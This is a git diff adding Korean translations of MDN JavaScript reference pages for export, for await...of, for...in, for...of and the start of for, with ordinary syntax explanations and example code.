+<p>유명 내보내기는 여러 값을 내보낼 때 유용합니다. 가져갈 때는 내보낸 이름과 동일한 이름을 사용해야 합니다.</p>
+
+<p>반면 기본 내보내기는 어떤 이름으로도 가져올 수 있습니다.</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">// test.js</span>
+<span class="keyword token">let</span> k<span class="punctuation token">;</span> <span class="keyword token">export</span> <span class="keyword token">default</span> k <span class="operator token">=</span> <span class="number token">12</span><span class="punctuation token">;</span></code></pre>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">// 임의의 다른 파일</span>
+<span class="keyword token">import</span> m <span class="keyword token">from</span> <span class="string token">'./test'</span><span class="punctuation token">;</span> <span class="comment token">// k가 기본 내보내기이므로, 가져오는 이름으로 k 대신 m을 사용해도 문제 없음</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>m<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// 12 기록</span></code></pre>
+
+<p>식별자 충돌을 피하기 위해 유명 내보내기 중 이름을 바꿔줄 수도 있습니다.</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">export</span> <span class="punctuation token">{</span> myFunction <span class="keyword token">as</span> function1<span class="punctuation token">,</span>
+ myVariable <span class="keyword token">as</span> variable <span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
+
+<h3 id="다시_내보내기_조합">다시 내보내기 / 조합</h3>
+
+<p>부모 모듈이 자식 모듈을 가져와서 다시 내보낼 수도 있습니다. 즉, 여러 개의 모듈을 모아놓을 하나의 모듈을 만들 수 있습니다.</p>
+
+<pre class="brush: js">export foo from 'bar.js';
+</pre>
+
+<p>위 구문은 아래와 동일합니다.</p>
+
+<pre class="brush: js">import foo from 'bar.js';
+export foo;
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="유명_내보내기_사용">유명 내보내기 사용</h3>
+
+<p>어떤 모듈에서 다음과 같은 코드를 가진다고 해보겠습니다.</p>
+
+<pre class="brush: js">// module "my-module.js"
+function cube(x) {
+ return x * x * x;
+}
+const foo = Math.PI + Math.SQRT2;
+var graph = {
+ options: {
+ color:'white',
+ thickness:'2px'
+ },
+ draw: function() {
+ console.log('From graph draw function');
+ }
+}
+export { cube, foo, graph };</pre>
+
+<p>다른 스크립트에서는 아래와 같이 사용할 수 있습니다.</p>
+
+<pre class="brush: js">// You should use this script in html with the type module.
+// For example:
+// &lt;script type="module" src="./demo.js"&gt;&lt;/script&gt;
+//
+// Open the page in a http server, otherwise there will be a CORS policy error.
+//
+// script demo.js
+
+import { cube, foo, graph } from 'my-module';
+graph.options = {
+ color:'blue',
+ thickness:'3px'
+};
+graph.draw();
+console.log(cube(3)); // 27
+console.log(foo); // 4.555806215962888</pre>
+
+<h3 id="기본_내보내기_사용">기본 내보내기 사용</h3>
+
+<p>단일 값을 내보낼 때나 모듈의 폴백<sup>fallback</sup> 값이 필요할 땐 기본 내보내기를 사용할 수 있습니다.</p>
+
+<pre class="brush: js">// module "my-module.js"
+export default function cube(x) {
+ return x * x * x;
+}</pre>
+
+<p>그런 다음, 다른 스크립트에서 가져오는건 간단합니다:</p>
+
+<pre class="brush: js">import cube from './my-module.js';
+console.log(cube(3)); // 27</pre>
+
+<p><code><font face="Open Sans, arial, sans-serif">e</font>xport default</code>를 사용할 때 <code>var</code>, <code>let</code>, <code>const</code>는 사용하지 못합니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-exports', 'Exports')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-exports', 'Exports')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.statements.export")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Statements/import", "import")}}</li>
+ <li><a href="/ko/docs/Web/JavaScript/Guide/Modules">JavaScript 모듈</a> 안내서</li>
+ <li><a href="https://hacks.mozilla.org/2015/08/es6-in-depth-modules/">ES6 in Depth: Modules</a>, Hacks blog post by Jason Orendorff</li>
+ <li><a href="https://hacks.mozilla.org/2018/03/es-modules-a-cartoon-deep-dive/">ES modules: A cartoon deep-dive</a>, Hacks blog post by Lin Clark</li>
+ <li><a href="http://exploringjs.com/es6/ch_modules.html">Axel Rauschmayer's book: "Exploring JS: Modules"</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/for-await...of/index.html b/files/ko/web/javascript/reference/statements/for-await...of/index.html
new file mode 100644
index 0000000000..c52d226e27
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/for-await...of/index.html
@@ -0,0 +1,144 @@
+---
+title: for await...of
+slug: Web/JavaScript/Reference/Statements/for-await...of
+tags:
+ - 구문
+ - 반복문
+ - 비동기
+ - 식
+ - 열거
+ - 열거자
+translation_of: Web/JavaScript/Reference/Statements/for-await...of
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong><code>for await...of</code> 구문</strong>은 보통 비동기에 대응하는 열거자를 나열할 때 쓰이지만, {{jsxref("String")}}, {{jsxref("Array")}}, <code>Array</code> 같은 객체 (e.g., {{jsxref("Functions/arguments", "arguments")}} or <a href="/en-US/docs/Web/API/NodeList" title="NodeList objects are collections of nodes, usually returned by properties such as Node.childNodes and methods such as document.querySelectorAll()."><code>NodeList</code></a>), {{jsxref("TypedArray")}}, {{jsxref("Map")}}, {{jsxref("Set")}} 같은 동기적으로 열거 가능한 객체 또한 가능하며, 사용자가 직접 정의한 동기 또는 비동기 객체도 나열할 수 있도록 해준다. 일반적인 <strong><code>for ...of</code></strong> 문과 마찬가지로 열거자 심볼이 정의한 속성을 실행하게 되어 열거한 값을 변수로 받아 처리한다.</p>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">for await (<var>variable</var> of <var>iterable</var>) {
+ <var>statement</var>
+}
+</pre>
+
+<dl>
+ <dt><code><var>variable</var></code></dt>
+ <dd>열거할 때마다 <code><var>variable</var></code>. 문을 통해 변수로 받을 수 있다. <code><var>variable</var></code> 문 안에서는 <code>const</code>, <code>let</code> 및 <code>var</code>. 문으로 선언된 변수 및 상수를 선언할 수 있다.</dd>
+ <dt><code><var>iterable</var></code></dt>
+ <dd>열거 가능한 속성이 들어가 있는 객체 및 식을 포함한다.</dd>
+</dl>
+
+<h3 id="비동기_열거_속성을_통한_열거_식">비동기 열거 속성을 통한 열거 식</h3>
+
+<p>비동기 열거 프로토콜을 담은 객체를 아래와 같이 열거할 수 있다.</p>
+
+<pre class="brush:js">const asyncIterable = {
+ [Symbol.asyncIterator]() {
+ return {
+ i: 0,
+ next() {
+ if (this.i &lt; 3) {
+ return Promise.resolve({ value: this.i++, done: false });
+ }
+
+ return Promise.resolve({ done: true });
+ }
+ };
+ }
+};
+
+(async function() {
+   for await (let num of asyncIterable) {
+     console.log(num);
+   }
+})();
+
+// 0
+// 1
+// 2
+</pre>
+
+<h3 id="비동기_생성자를_통한_열거_식">비동기 생성자를 통한 열거 식</h3>
+
+<p>비동기 생성자는 애초부터 비동기 열거 프로토콜을 탑재한 채로 정의한다.이를 <code>for await...of</code> 식으로 아래와 같이 사용할 수 있다.</p>
+
+<pre class="brush: js">async function* asyncGenerator() {
+ let i = 0;
+ while (i &lt; 3) {
+ yield i++;
+ }
+}
+
+(async function() {
+ for await (let num of asyncGenerator()) {
+ console.log(num);
+ }
+})();
+// 0
+// 1
+// 2</pre>
+
+<p>좀 더 상세한 비동기 생성자를 통한 <code>for await...of </code>식의 사용법을 위해 기본 API를 통해 값을 비동기적으로 열거하는 방법을 알아본다.</p>
+
+<p>아래 예제를 통해 먼저 API를 사용하여 스트림 데이터를 통해 비동기 열거자를 만든 뒤, 스트림에서 응답이 끝나면 최종 응답 데이터 크기를 가져온다.</p>
+
+<pre class="brush: js">async function* streamAsyncIterator(stream) {
+ const reader = stream.getReader();
+ try {
+ while (true) {
+ const { done, value } = await reader.read();
+ if (done) {
+ return;
+ }
+ yield value;
+ }
+ } finally {
+ reader.releaseLock();
+ }
+}
+// 주소로부터 데이터를 받아온 뒤, 응답 크기를 구하는 비동기 생성자 함수.
+async function getResponseSize(url) {
+ const response = await fetch(url);
+ // 여기에 응답 크기를 바이트 단위로 적재한다.
+ let responseSize = 0;
+ // for-await-of 문을 통해 응답이 들어올 때마다 열거 프로토콜을 통해 반복문이 작동한다.
+ for await (const chunk of streamAsyncIterator(response.body)) {
+ // 총 응답 크기를 지속적으로 누적한다.
+ responseSize += chunk.length;
+ }
+
+ console.log(`응답 크기: ${responseSize} 바이트`);
+ // 예상 출력: "응답 크기: 1071472 바이트"
+ return responseSize;
+}
+getResponseSize('https://jsonplaceholder.typicode.com/photos');</pre>
+
+<h2 id="규격">규격</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-for-in-and-for-of-statements', 'ECMAScript Language: The for-in, for-of, and for-await-of Statements')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.statements.for_await_of")}}</p>
+
+<h2 id="같이보기">같이보기</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/Symbol/asyncIterator", "Symbol.asyncIterator")}}</li>
+ <li>{{jsxref("Statements/for...of", "for...of")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/for...in/index.html b/files/ko/web/javascript/reference/statements/for...in/index.html
new file mode 100644
index 0000000000..983e50c91f
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/for...in/index.html
@@ -0,0 +1,176 @@
+---
+title: for...in
+slug: Web/JavaScript/Reference/Statements/for...in
+tags:
+ - JavaScript
+ - Statement
+translation_of: Web/JavaScript/Reference/Statements/for...in
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><code>for...in</code>문은 상속된 열거 가능한 속성들을 포함하여 객체에서 문자열로 키가 지정된 모든 열거 가능한 속성에 대해 반복합니다. (<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol">Symbol</a>로 키가 지정된 속성은 무시합니다.)</p>
+
+<p>{{EmbedInteractiveExample("pages/js/statement-forin.html")}}</p>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre class="syntaxbox notranslate">for (<var>variable</var> in <var>object</var>) {<em> ... </em>}</pre>
+
+<h3 id="Parameters" name="Parameters">파라미터</h3>
+
+<dl>
+ <dt><code>variable</code></dt>
+ <dd>매번 반복마다 다른 속성이름(Value name)이 변수(<em>variable)</em>로 지정됩니다.</dd>
+ <dt><code>object</code></dt>
+ <dd>반복작업을 수행할 객체로 열거형 속성을 가지고 있는 객체.</dd>
+</dl>
+
+<h2 id="Description" name="Description">설명</h2>
+
+<p><code>for...in</code>문은 열거 가능한 non-Symbol 속성에 대해서만 반복합니다.<br>
+ <code>Array</code>나 <code>Object</code> 등 내장 constructor를 통해 만들어진 객체는  {{jsxref("String")}}의 {{jsxref("String.indexOf", "indexOf()")}}, {{jsxref("Object")}}의 {{jsxref("Object.toString", "toString()")}}와 같이 <code>Object.prototype</code>, <code>String.prototype</code> 로부터 열거가 가능하지 않은 속성들을 상속해왔습니다. <code>for...in</code>문은 객체 자체의 모든 열거 가능한 속성들과 프로토타입 체인으로부터 상속받은 속성들에 대해 반복할 것입니다. (더 가까운 프로토타입의 속성들이 프로토타입 체인 객체로부터 더 멀리 떨어진 프로토 타입의 속성보다 더 우선합니다.)</p>
+
+<h3 id="속성의_삭제_추가_수정">속성의 삭제, 추가, 수정 </h3>
+
+<p><code>for..in</code> 문은 임의의 순서로 객체의 속성들에 대해 반복합니다. (적어도 <code>cross-browser</code> 설정에서는 왜 표면적으로 보이는 반복의 순서를 따를 수 없는지에 대해서  {{jsxref("Operators/delete", "delete")}} 를 참고하십시오.)</p>
+
+<p>만약 한 반복으로 속성이 수정된 후에 방문하는 경우, 반복문에서의 그 값은 나중의 값으로 정해집니다. 방문하기 전에 삭제된 속성에 대해서는 이후에 방문하지 않습니다. 반복이 발생하는 객체에 추가된 속성은 방문하거나 반복에서 생략할 수 있습니다.</p>
+
+<p>일반적으로 현재 방문 중인 속성 외에는 반복하는 동안 객체의 속성을 추가, 수정, 제거하지 않는 것이 가장 좋습니다. 추가된 속성을 방문할 것인지, 수정된 속성(현재의 속성 제외)을 수정 이전 혹은 이후에 방문할 것인지, 삭제된 속성을 삭제 이전에 방문할 것인지에 대해서는 보장할 수 없습니다.</p>
+
+<h3 id="배열의_반복과_for...in">배열의 반복과 for...in</h3>
+
+<div class="note" id="arrayNote">
+<p><strong>Note: <code>for...in</code>은</strong> 인덱스의 순서가 중요한<strong> </strong>{{jsxref("Array")}}에서 반복을 위해 사용할 수 없습니다.</p>
+</div>
+
+<p>배열 인덱스는 정수로 된 열거 가능한 속성이며, 일반적인 객체의 속성들과 같습니다. <code>for...in</code>은 특정 순서에 따라 인덱스를 반환하는 것을 보장할 수 없습니다. <code>for...in</code>반복문은 정수가 아닌 이름을 가진 속성, 상속된 모든 열거 가능한 속성들을 반환합니다.</p>
+
+<p>반복되는 순서는 구현에 따라 다르기 때문에, 배열의 반복이 일관된 순서로 요소를 방문하지 못할 수도 있습니다. 그러므로 방문의 순서가 중요한 배열의 반복시에는 숫자 인덱스를 사용할 수 있는 <code>for</code> 반복문을 사용하는 것이 좋습니다.(또는 {{jsxref("Array.prototype.forEach()")}}, {{jsxref("Statements/for...of", "for...of")}}를 권장합니다.)</p>
+
+<h3 id="자체_속성만_반복">자체 속성만 반복</h3>
+
+<p>만약 당신이 객체의 프로토타입이 아닌 객체 자체에 연결된 속성만 고려한다면 {{jsxref("Object.getOwnPropertyNames", "getOwnPropertyNames()")}}나 {{jsxref("Object.prototype.hasOwnProperty", "hasOwnProperty()")}}를 사용하십시오.({{jsxref("Object.prototype.propertyIsEnumerable", "propertyIsEnumerable()")}} 또한 가능합니다.)  또는 외부적인 코드 간섭이 없다면 체크 메서드로 내장 프로토타입을 확장할 수 있습니다.</p>
+
+<h2 id="왜_for...in을_사용합니까">왜 for...in을 사용합니까?</h2>
+
+<p><code>for...in</code>이 객체의 반복을 위해 만들어졌지만, 배열의 반복을 위해서는 추천되지 않고,  <code>Array.prototype.forEach()</code>, <code>for...of</code>가 이미 존재합니다. 그러면 for...in은 어떻게 사용하는 것이 좋을까요?</p>
+
+<p>이것은 쉽게 객체의 속성을 확인(콘솔이나 다른 방법으로 출력)할 수 있기 때문에 실질적으로 디버깅을 위해 사용될 수 있습니다. 배열이 데이터의 저장에 있어서는 더 실용적이지만, 키-값 쌍이 선호되는 데이터의 경우(속성이 "key"의 역할을 함) 특정 값을 가진 키가 있는지 확인하려는 경우에 for...in을 사용할 수 있습니다.</p>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<h3 id="for...in의_사용">for...in의 사용</h3>
+
+<p>아래의 예는 열거 가능한 non-Symbol속성들을 반복해서 속성의 이름과 그 값을 기록합니다.</p>
+
+<pre class="notranslate"><code>var obj = {a: 1, b: 2, c: 3};
+
+for (const prop in obj) {
+ console.log(`obj.${prop} = ${obj[prop]}`);
+}
+
+// Output:
+// "obj.a = 1"
+// "obj.b = 2"
+// "obj.c = 3"</code></pre>
+
+<h3 id="자체_속성_반복">자체 속성 반복</h3>
+
+<p>아래는 {{jsxref("Object.prototype.hasOwnProperty", "hasOwnProperty()")}} 를 사용하는 예를 보여주고 있습니다. 상속된 속성은 표시되지 않습니다.</p>
+
+<pre class="brush: js notranslate">var triangle = {a:1, b:2, c:3};
+
+function ColoredTriangle() {
+ this.color = "red";
+}
+
+ColoredTriangle.prototype = triangle;
+
+function show_own_props(obj, objName) {
+ var result = "";
+
+ for (var prop in obj) {
+ if( obj.hasOwnProperty( prop ) ) {
+ result += objName + "." + prop + " = " + obj[prop] + "\n";
+ }
+ }
+
+ return result;
+}
+
+o = new ColoredTriangle();
+alert(show_own_props(o, "o")); /* alerts: o.color = red */
+</pre>
+
+<h2 id="상세">상세</h2>
+
+<table>
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-for-in-and-for-of-statements', 'for...in statement')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-for-in-and-for-of-statements', 'for...in statement')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-12.6.4', 'for...in statement')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3', '#sec-12.6.4', 'for...in statement')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1', '#sec-12.6.3', 'for...in statement')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.statements.for_in")}}</p>
+
+<h2 id="Compatibility_Initializer_expressions_in_strict_mode">Compatibility: Initializer expressions in strict mode</h2>
+
+<p>Prior to SpiderMonkey 40 {{geckoRelease(40)}}, it was possible to use an initializer expression (<code>i=0</code>) in a <code>for...in</code> loop:</p>
+
+<pre class="notranslate"><code>var obj = {a: 1, b: 2, c: 3};
+for (var i = 0 in obj) {
+ console.log(obj[i]);
+}
+// 1
+// 2
+// 3</code></pre>
+
+<p>This nonstandard behavior is now ignored in version 40 and later, and will present a {{jsxref("SyntaxError")}} ("<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Errors/Invalid_for-in_initializer">for-in loop head declarations may not have initializers</a>") error in <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a> ({{bug(748550)}} and {{bug(1164741)}}).</p>
+
+<p>Other engines such as v8 (Chrome), Chakra (IE/Edge), and JSC (WebKit/Safari) are investigating whether to remove the nonstandard behavior as well.</p>
+
+<h2 id="관련_문서">관련 문서</h2>
+
+<ul>
+ <li>{{jsxref("Statements/for...of", "for...of")}} – a similar statement that iterates over the property <em>values</em></li>
+ <li>{{jsxref("Statements/for_each...in", "for each...in")}} {{deprecated_inline}} – a similar but deprecated statement that iterates over the values of an object's properties, rather than the property names themselves</li>
+ <li>{{jsxref("Statements/for", "for")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators">Generator expressions</a> (uses the <code>for...in</code> syntax)</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+ <li>{{jsxref("Object.prototype.hasOwnProperty()")}}</li>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/for...of/index.html b/files/ko/web/javascript/reference/statements/for...of/index.html
new file mode 100644
index 0000000000..d082763616
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/for...of/index.html
@@ -0,0 +1,228 @@
+---
+title: for...of
+slug: Web/JavaScript/Reference/Statements/for...of
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Reference
+ - Statement
+translation_of: Web/JavaScript/Reference/Statements/for...of
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong><code>for...of</code> 명령문</strong>은 <a href="/ko/docs/Web/JavaScript/Reference/Iteration_protocols#iterable">반복가능한 객체</a> ({{jsxref("Array")}}, {{jsxref("Map")}}, {{jsxref("Set")}}, {{jsxref("String")}}, {{jsxref("TypedArray")}}, <a href="/ko/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a> 객체 등을 포함)에 대해서 반복하고 각 개별 속성값에 대해 실행되는 문이 있는 사용자 정의 반복 후크를 호출하는 루프를 생성합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-forof.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">for (<em>variable</em> of <em>iterable</em>) {
+ <em>statement
+</em>}
+</pre>
+
+<dl>
+ <dt><code>variable</code></dt>
+ <dd>각 반복에 서로 다른 속성값이 <em>variable</em>에 할당됩니다.</dd>
+ <dt><code>iterable</code></dt>
+ <dd>반복되는 열거가능(enumerable)한 속성이 있는 객체.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="jsxrefArray에_대해_반복">{{jsxref("Array")}}에 대해 반복:</h3>
+
+<pre class="brush:js">let iterable = [10, 20, 30];
+
+for (let value of iterable) {
+ console.log(value);
+}
+// 10
+// 20
+// 30
+</pre>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Statements/let"><code>let</code></a> 대신 <a href="/ko/docs/Web/JavaScript/Reference/Statements/const"><code>const</code></a>도 사용할 수 있습니다, 블록 내부 변수를 수정하지 않는 경우.</p>
+
+<pre class="brush:js">let iterable = [10, 20, 30];
+
+for (const value of iterable) {
+ console.log(value);
+}
+// 10
+// 20
+// 30
+</pre>
+
+<h3 id="jsxrefString에_대해_반복">{{jsxref("String")}}에 대해 반복:</h3>
+
+<pre class="brush:js">let iterable = "boo";
+
+for (let value of iterable) {
+ console.log(value);
+}
+// "b"
+// "o"
+// "o"
+</pre>
+
+<h3 id="jsxrefTypedArray에_대해_반복">{{jsxref("TypedArray")}}에 대해 반복:</h3>
+
+<pre class="brush:js">let iterable = new Uint8Array([0x00, 0xff]);
+
+for (let value of iterable) {
+ console.log(value);
+}
+// 0
+// 255
+</pre>
+
+<h3 id="jsxrefMap에_대해_반복">{{jsxref("Map")}}에 대해 반복:</h3>
+
+<pre class="brush:js">let iterable = new Map([["a", 1], ["b", 2], ["c", 3]]);
+
+for (let entry of iterable) {
+ console.log(entry);
+}
+// [a, 1]
+// [b, 2]
+// [c, 3]
+
+for (let [key, value] of iterable) {
+ console.log(value);
+}
+// 1
+// 2
+// 3
+</pre>
+
+<h3 id="jsxrefSet에_대해_반복">{{jsxref("Set")}}에 대해 반복:</h3>
+
+<pre class="brush:js">let iterable = new Set([1, 1, 2, 2, 3, 3]);
+
+for (let value of iterable) {
+ console.log(value);
+}
+// 1
+// 2
+// 3
+</pre>
+
+<h3 id="DOM_컬렉션에_대해_반복">DOM 컬렉션에 대해 반복</h3>
+
+<p>{{domxref("NodeList")}} 같은 DOM 컬렉션에 대해 반복: 다음 예는 article의 직계 자손인 paragraph에 <code>read</code> 클래스를 추가합니다:</p>
+
+<pre class="brush:js">// 주의: 이는 NodeList.prototype[Symbol.iterator]가
+// 구현된 플랫폼에서만 작동합니다
+let articleParagraphs = document.querySelectorAll("article &gt; p");
+
+for (let paragraph of articleParagraphs) {
+ paragraph.classList.add("read");
+}
+</pre>
+
+<h3 id="생성기에_대해_반복">생성기에 대해 반복</h3>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Statements/function*">생성기</a>에 대해서도 반복할 수 있습니다:</p>
+
+<pre class="brush:js">function* fibonacci() { // 생성기 함수
+ let [prev, curr] = [1, 1];
+ while (true) {
+ [prev, curr] = [curr, prev + curr];
+ yield curr;
+ }
+}
+
+for (let n of fibonacci()) {
+ console.log(n);
+ // 1000에서 수열을 자름
+ if (n &gt;= 1000) {
+ break;
+ }
+}
+</pre>
+
+<h3 id="다른_반복가능_객체에_대해_반복">다른 반복가능 객체에 대해 반복</h3>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Iteration_protocols#iterable">iterable</a> 프로토콜을 명시해서 구현하는 객체에 대해서도 반복할 수 있습니다:</p>
+
+<pre class="brush:js">var iterable = {
+ [Symbol.iterator]() {
+ return {
+ i: 0,
+ next() {
+ if (this.i &lt; 3) {
+ return { value: this.i++, done: false };
+ }
+ return { value: undefined, done: true };
+ }
+ };
+ }
+};
+
+for (var value of iterable) {
+ console.log(value);
+}
+// 0
+// 1
+// 2
+</pre>
+
+<h3 id="for...of와_for...in의_차이"><code>for...of</code>와 <code>for...in</code>의 차이</h3>
+
+<p><code><a href="/ko/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a></code> 루프는 객체의 모든 열거가능한 속성에 대해 반복합니다.</p>
+
+<p><code>for...of</code> 구문은 <strong>컬렉션</strong> 전용입니다. 모든 객체보다는, <code>[Symbol.iterator]</code> 속성이 있는 모든 컬렉션 요소에 대해 이 방식으로 반복합니다.</p>
+
+<p>다음 예는 <code>for...of</code> 루프와 <code>for...in</code> 루프의 차이를 보입니다.</p>
+
+<pre class="brush:js">Object.prototype.objCustom = function () {};
+Array.prototype.arrCustom = function () {};
+
+let iterable = [3, 5, 7];
+iterable.foo = "hello";
+
+for (let i in iterable) {
+ console.log(i); // logs 0, 1, 2, "foo", "arrCustom", "objCustom"
+}
+
+for (let i of iterable) {
+ console.log(i); // logs 3, 5, 7
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-for-in-and-for-of-statements', 'for...of statement')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-for-in-and-for-of-statements', 'for...of statement')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.statements.for_of")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Statements/for_each...in">for each...in</a> - 비슷한 문이지만, 속성 이름 자체보다는 객체의 속성값을 반복합니다 (사라짐).</li>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach">Map.prototype.forEach()</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/statements/for/index.html b/files/ko/web/javascript/reference/statements/for/index.html
new file mode 100644
index 0000000000..cba49dbba6
--- /dev/null
+++ b/files/ko/web/javascript/reference/statements/for/index.html
@@ -0,0 +1,160 @@
+---
+title: for
+slug: Web/JavaScript/Reference/Statements/for
+tags:
+ - JavaScript
+ - Loop
+ - Reference
+ - Statement
+translation_of: Web/JavaScript/Reference/Statements/for
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong>for 문</strong>은 괄호로 감싸고 세미콜론으로 구분한 세 개의 선택식과, 반복을 수행할 문(주로 {{jsxref("Statements/block", "블럭문", "", 0)}})으로 이루어져 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-for.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">for ([<em>initialization</em>]; [<em>condition</em>]; [<em>final-expression</em>])
+ <em>statement</em>
+</pre>
+
+<dl>
+ <dt><code>initialization</code></dt>
+ <dd>식(할당식 포함) 또는 변수 선언. 주로 카운터 변수를 초기화할 때 사용합니다. <code>var</code> 또는 <code>let</code> 키워드를 사용해 새로운 변수를 선언할 수도 있습니다. <code>var</code> 키워드로 선언한 변수는 반복문에 제한되지 않습니다. 즉 <code>for</code> 문과 같은 범위<sup>scope</sup>에 위치합니다. <code>let</code> 키워드로 선언한 변수는 반복문의 지역 변수가 됩니다.<br>
+ <br>
+ 식의 결과는 버려집니다.</dd>
+ <dt><code>condition</code></dt>
+ <dd>매 반복마다 평가할 식. 평가 결과가 참이라면 <code>statement</code>를 실행합니다. 이 식을 넣지 않았을 때 계산 결과는 언제나 참이 됩니다. 계산 결과가 거짓이라면 <code>for</code> 문의 바로 다음 식으로 건너 뜁니다.</dd>
+ <dt><code>final-expression</code></dt>
+ <dd>매 반복 후 평가할 식. 다음번 <code>condition</code> 평가 이전에 발생합니다. 주로 카운터 변수를 증감하거나 바꿀 때 사용합니다.</dd>
+ <dt><code>statement</code></dt>
+ <dd>조건의 평가 결과가 참일 때 실행하는 문. 여러 문을 반복 실행하려면 {{jsxref("Statements/block", "블럭문", "", 0)}}(<code>{ ... }</code>)으로 묶어야 합니다. 아무것도 실행하지 않으려면 {{jsxref("Statements/empty", "공백문", "", 0)}} (<code>;</code>)을 사용하세요.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="for_사용하기"><code>for</code> 사용하기</h3>
+
+<p>다음 <code>for</code> 문은 변수 <code>i</code>를 선언하고 0으로 초기화하여 시작합니다. <code>i</code>가 9보다 작은지를 확인하고 맞으면 명령문을 수행한 후 <code>i</code>의 값을 1 높입니다.</p>
+
+<pre class="brush: js">for (var i = 0; i &lt; 9; i++) {
+ console.log(i);
+ // 기타 등등
+}
